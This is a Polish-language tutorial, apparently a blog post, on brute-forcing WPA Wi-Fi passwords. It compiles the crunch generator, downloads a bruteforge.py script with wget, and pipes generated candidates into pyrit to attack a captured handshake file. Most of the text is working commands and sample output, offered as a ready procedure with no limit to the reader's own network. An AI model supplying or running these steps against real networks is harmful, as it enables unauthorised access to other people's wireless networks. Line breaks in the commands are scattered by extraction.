[
WiFi] – Pyrit + brute-force?
Jasne!
Oto jak odzyskiwać hasło do sieci WPA+ używając pyrita, lecz nie
metodą słownikową, a próbą ataku brute-force.
Pokazywałem już jak zainstalować pyrita, więc zaczniemy od razu od tego jak
wykonać metodę brute-force.
Żeby móc atakować brute forcem, wypadałoby mieć program, który wygeneruje
wszystkie hasła z danego zbioru znaków, najczęściej używanym jest crunch
stworzony przez grupę DarkC0de.
Teraz trzeba go skompilować:
gcc
-c
crunch.c
gcc
-lm
-o
crunch crunch.o
Składnia programu jest mniej-więcej taka:
./
crunch jakie-znaki+używać+
dobudowy
=haseł
Czyli:
./
crunch 1 7 1234567890
Spowoduje wyświetlenie na stdout, coś podobnego do:
...
14340
14351
14352
14353
14354
14355
14356
14357
14358
14359
14350
14361
...
A polecenie
./
crunch 5 7 qwertyuioplkjhgfdsazxcvbnm
Pokaże hasła o składni:
...
qyeiu
qyeii
qyeio
qyeip
qyeil
qyeik
qyeij
qyeih
qyeig
qyeif
qyeid
qyeis
qyeia
qyeiz
qyeix
qyeic
qyeiv
qyeib
qyein
qyeim
qyeoq
qyeow
qyeoe
...
Proste! Jak tego używać z pyritem? Za pomocą operatora kontrolnego z powłoki
bash: |
Wypadałoby znać składnię poleceń programu pyrit, żeby więcej zdziałać, ale ta
poznana w poprzednim artykule powinna być wystarczająca.
./
crunch 5 7 qwertyuioplkjhgfdsazxcvbnm |
pyrit
-r
PlikZHandshake.cap
-e
"NASA"
-i
-attack_passthrough
Crunch ma jeszcze inne rozwiązanie ataków brute-force:
./
crunch 9 9 1234567890
-t
haxored@@@@
Wygeneruje nam 1000 kombinacji wyrazy haxoredDDDD, gdzie D oznacza znak z
zakresu podanego w komendzie do programu. Znak @ oznacza każdy dowolny znak
podany w polecaniu programu.
...
haxored0074
haxored0075
haxored0076
haxored0077
haxored0078
haxored0079
haxored0070
haxored0081
haxored0082
haxored0083
haxored0084
...
Drugim programem, a właściwie skryptem, który chciałbym tutaj pokazać
jest bruteforge.py
wget
https://gist.github.com/agilob/8387512/raw/7f1f35fce31c35b12c5dc43a52eeb563a45a7297/bruteforge.py
Ma on również więcej użytecznych opcji, jak automatyczne wybieranie charsetu:
charsets:
0
)
lowercase
1
)
uppercase
2
)
digits
3
)
lowercase+digits
4
)
hexdigits
5
)
full-hexdigits
6
)
32
Chars
7
)
custom
8
)
special
9
)
advanced mode import from FILE
[
default: 0
]
Składnia jest też nie skomplikowana, żeby wypluć na stdout permutacje różnych
charsetów to:
./
bruteforge.py
-m
10
-c
3
Gdzie -m 10 oznacza maksymalną długość haseł, a -c oznacza wybrany charset.
...
xyd
xye
xyf
xyg
xyh
xyi
xyj
xyk
xyl
xym
xyn
xyo
xyp
xyq
xyr
xys
xyt
xyu
xyv
xyw
xyx
xyy
...
Przerzucenie tego do pyrita to nic innego jak:
./
bruteforge.py
-m
10
-c
3 | pyrit
-r
PlikZHandshake.cap
-e
"nazwa_sieci"
-i
-attack_passthrough